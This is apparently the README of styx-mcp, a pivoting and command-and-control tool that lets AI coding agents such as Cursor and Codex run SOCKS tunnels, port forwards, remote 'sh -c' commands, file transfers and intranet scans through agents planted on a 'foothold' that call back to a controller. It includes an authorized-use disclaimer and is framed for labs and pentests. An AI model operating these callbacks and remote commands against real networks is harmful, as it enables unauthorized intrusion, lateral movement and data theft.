English · 简体中文
Orchestrate multi-hop nodes, tunnels, and intranet recon via MCP tools
Authorized use only. Use only on systems you own or have explicit written permission to test (labs, CTF / exam ranges, RoE-covered engagements). Unauthorized use is illegal. You are solely responsible for how you use this software.
Please read this README (especially SOCKS vs forward vs backward vs scan) before use.
- Tree topology: active (
-c) / passive (-l), multi-hop pivots - Mutual HMAC preauth + optional TLS
- SOCKS5 on the controller — local tools exit via a chosen node
- Per-stream byte-window flow control (controller/agent must match)
- Forward (listen on agent) & backward (listen on controller)
- Async
start_cmd— one-shot remote command (task_id) - Async
start_scan— discover → port scan → light fingerprint + refs - Async
pull_file/upload_file - Async tasks +
get_task_status(phases +result.progressfor long scans) - Agent auto-reconnect after unexpected drop (stable
node_idreonline;SHUTDOWNdisables) - Cross-compile: Linux / Windows / macOS (
make build-all)
- Quick start
- Cursor / Codex MCP setup
- MCP tools
- Intranet scan (
start_scan) - Examples
- CLI flags
- Security notes
- Project layout
- Acknowledgments
- License
git clone https://github.com/N0va-7/styx-mcp.git
cd styx-mcp
make build # → release/<os>-<arch>/# Terminal A — controller (keeps stdio for MCP; for CLI smoke only)
./release/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')/controller \
-s change-me -l 127.0.0.1:19137
# Terminal B — agent
./release/.../agent -s change-me -c 127.0.0.1:19137Prefer Cursor? Skip terminal A and use the wrapper below, then only start the agent.
make build-all # linux-amd64 / windows-amd64 / darwin-arm64
make testPrebuilt binaries: see Releases when a maintainer publishes one
(make build-all, then attach archives manually). Auto tag→Release CI is not enabled.
make buildsorelease/<os>-<arch>/controllerexists.~/.cursor/mcp.json(or project.cursor/mcp.json):
{
"mcpServers": {
"styx-mcp": {
"command": "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh",
"env": {
"STYX_SECRET": "change-me-to-a-strong-secret",
"STYX_LISTEN": "127.0.0.1:19137",
"STYX_LOG": "/tmp/styx-mcp-controller.log"
}
}
}
}- Cursor → Settings → MCP → enable / refresh styx-mcp.
- On the foothold:
./agent -s change-me -c <controller-ip>:19137| Env | Default | Meaning |
|---|---|---|
STYX_SECRET |
(required) | Shared secret (-s) |
STYX_LISTEN |
127.0.0.1:19137 |
Agent listen addr on controller |
STYX_LOG |
/tmp/styx-mcp-controller.log |
Controller log |
STYX_MCP_LOG |
(unset) | Optional raw MCP stdio log path |
STYX_BIN_DIR |
release/<os>-<arch> |
Binary directory override |
Never commit real secrets into public configs.
make buildsorelease/<os>-<arch>/controllerexists.- Add to
~/.codex/config.toml(absolute path; strong secret):
[mcp_servers.styx-mcp]
command = "/absolute/path/to/styx-mcp/scripts/styx-mcp-wrapper.sh"
enabled = true
startup_timeout_sec = 45
[mcp_servers.styx-mcp.env]
STYX_SECRET = "change-me-to-a-strong-secret"
STYX_LISTEN = "127.0.0.1:19137"
STYX_LOG = "/tmp/styx-mcp-controller.log"- Reload MCP / start a new Codex task so tools (
list_nodes, …) appear. - Only one controller may bind
STYX_LISTEN(do not run Cursor and Codex wrappers on the same port together). - On the foothold:
./agent -s change-me -c <controller-ip>:19137
| Tool | What it does | Listen / act where |
|---|---|---|
list_nodes |
Topology | — |
get_node_detail |
Detail | — |
add_node_memo / delete_node_memo |
Memos | — |
start_listener |
Wait for child agents | Agent |
connect_node |
Dial a child | Agent |
start_socks |
SOCKS5 for local tools | Controller → exit via node |
start_forward |
Port forward | Agent listen → target |
start_backward |
Reverse forward | Controller → via node → target |
upload_file |
Upload | Controller → agent |
pull_file |
Pull file to controller | Agent → controller path |
start_cmd |
One-shot remote command | Agent sh -c (async task_id) |
start_scan |
Intranet port scan + light fingerprint | Agent (async task_id) |
get_task_status |
Poll async work | — |
shutdown_node |
Kill node | — |
Long-running calls return task_id → poll with get_task_status.
| You want… | Use |
|---|---|
curl / scanners on the controller host into an internal net |
start_socks |
One controller port → one internal ip:port |
start_backward |
| A port on the foothold that dials elsewhere | start_forward |
| Structured open ports / fingerprints from the agent | start_scan |
Runs on the selected agent (traffic exits that host).
Discover (hybrid, default on): host is alive if ICMP succeeds OR any TCP probe port is open.
If zero hosts are alive, the job falls back to scanning all targets and sets warnings (avoids a silent empty result).
Port method: auto (default) uses SYN when the agent has raw IPv4 TCP (root / CAP_NET_RAW on Linux), otherwise TCP connect. Force with method=connect or method=syn.
| Arg | Default | Notes |
|---|---|---|
node_id |
required | Exit via this agent |
targets |
required | IPv4 IP / CIDR / comma list |
mode |
fast |
fast | normal | full | custom (full is expensive) |
ports |
— | Required for custom (22,80,8000-8100) |
fingerprint |
true |
Fingerprint open ports only |
discover |
true |
Hybrid alive probe first |
method |
auto |
auto | connect | syn |
concurrency |
200 |
Max 500 |
timeout_ms |
500 |
Per-probe timeout |
Phases (via get_task_status): discovering → scanning → fingerprinting → done.
While discovering, result.progress may include stage, icmp_done / icmp_total, icmp_alive, alive_n, tcp_probes.
Rebuild note: controller and agent must be built from the same commit after protocol changes (SCAN*).
Lab helper (authorized ranges only; uses port 19139 so it does not steal MCP’s :19137):
STYX_SECRET=… STYX_CALLBACK=<attacker-ip> ./scripts/lab-scan-e2e.shSOCKS5
{ "name": "start_socks", "arguments": { "node_id": 0, "address": "127.0.0.1:10801" } }curl --socks5-hostname 127.0.0.1:10801 http://<internal-host>/
export ALL_PROXY=socks5h://127.0.0.1:10801Two-level topology
./agent -s change-me -l 127.0.0.1:19138 # child, passive{ "name": "connect_node", "arguments": { "node_id": 0, "address": "127.0.0.1:19138" } }Forward / backward / upload
{
"name": "start_forward",
"arguments": {
"node_id": 0,
"listen_address": "127.0.0.1:19141",
"target_address": "10.0.0.5:80"
}
}Connect to listen_address on the agent host.
{
"name": "start_backward",
"arguments": {
"node_id": 0,
"local_address": "127.0.0.1:19142",
"target_address": "10.0.0.5:80"
}
}Connect to 127.0.0.1:19142 on the controller host.
{
"name": "upload_file",
"arguments": {
"node_id": 0,
"local_path": "/path/to/tool",
"remote_path": "/tmp/tool"
}
}Intranet scan
{
"name": "start_scan",
"arguments": {
"node_id": 0,
"targets": "172.16.23.0/24",
"mode": "fast",
"discover": true,
"method": "auto",
"fingerprint": true
}
}{ "name": "get_task_status", "arguments": { "task_id": "start_scan-1" } }Useful result fields: stats, open[], summary.interesting[], optional warnings[] / refs.
controller
| Flag | Description |
|---|---|
-s |
Shared secret |
-l |
Listen for agents [ip]:port |
-c |
Optional active connect |
-down |
raw only (ws rejected) |
-tls-enable |
TLS on node links |
-domain |
TLS SNI / WS domain |
-heartbeat |
Heartbeat to first node |
-reconnect-max |
Max active (-c) dial attempts (default 3; 0 = single try) |
agent
| Flag | Description |
|---|---|
-s |
Shared secret |
-c |
Connect to parent / controller |
-l |
Passive listen |
-up / -down |
raw only (ws rejected) |
-tls-enable / -domain |
TLS |
-reconnect |
Base delay seconds after unexpected drop (default 10; 0 = off) |
-reconnect-max |
Max reconnect attempts after drop (default 3) |
-socks5-proxy / -socks5-proxyu / -socks5-proxyp |
Reach parent via SOCKS5 |
-http-proxy |
Reach parent via HTTP proxy |
Controller and agents must share the same secret (and matching TLS/WS options). After reconnect/reonline handshake changes, rebuild both binaries from the same commit.
- Treat
-s/STYX_SECRETlike a password; rotate after shared labs. The wrapper requiresSTYX_SECRET(no weak default). - Payload encryption uses HKDF-SHA256 derived AES-256-GCM keys (controller and agents must run matching versions).
- Optional TLS (
-tls-enable) derives a stable cert from the shared secret and verifies peers (still use a strong secret). - Default wrapper listen is
127.0.0.1:19137; setSTYX_LISTEN=0.0.0.0:…only for remote agents. - Bind SOCKS to
127.0.0.1unless you intentionally expose it. - Upload paths allow absolute destinations but reject
..; max single-file transfer is 32 MiB. - MCP stdio logging is off by default; set
STYX_MCP_LOG=/pathonly when debugging (may contain secrets). - Rebuild controller and agent from the same commit after protocol changes.
cmd/controller/ controller + MCP entrypoint
cmd/agent/ agent entrypoint
scripts/ MCP wrapper, lab-scan-e2e.sh, lab_scan_smoke.go
pkg/controller/ control plane, SOCKS / backward / scan tasks
pkg/mcp/ MCP tools
pkg/node/ agent handlers (incl. scan job)
pkg/scan/ targets, discover, connect/SYN port check
pkg/fingerprint/ light fingerprint + vuln ref table
pkg/protocol/ wire protocol
pkg/share/preauth/ HMAC mutual preauth



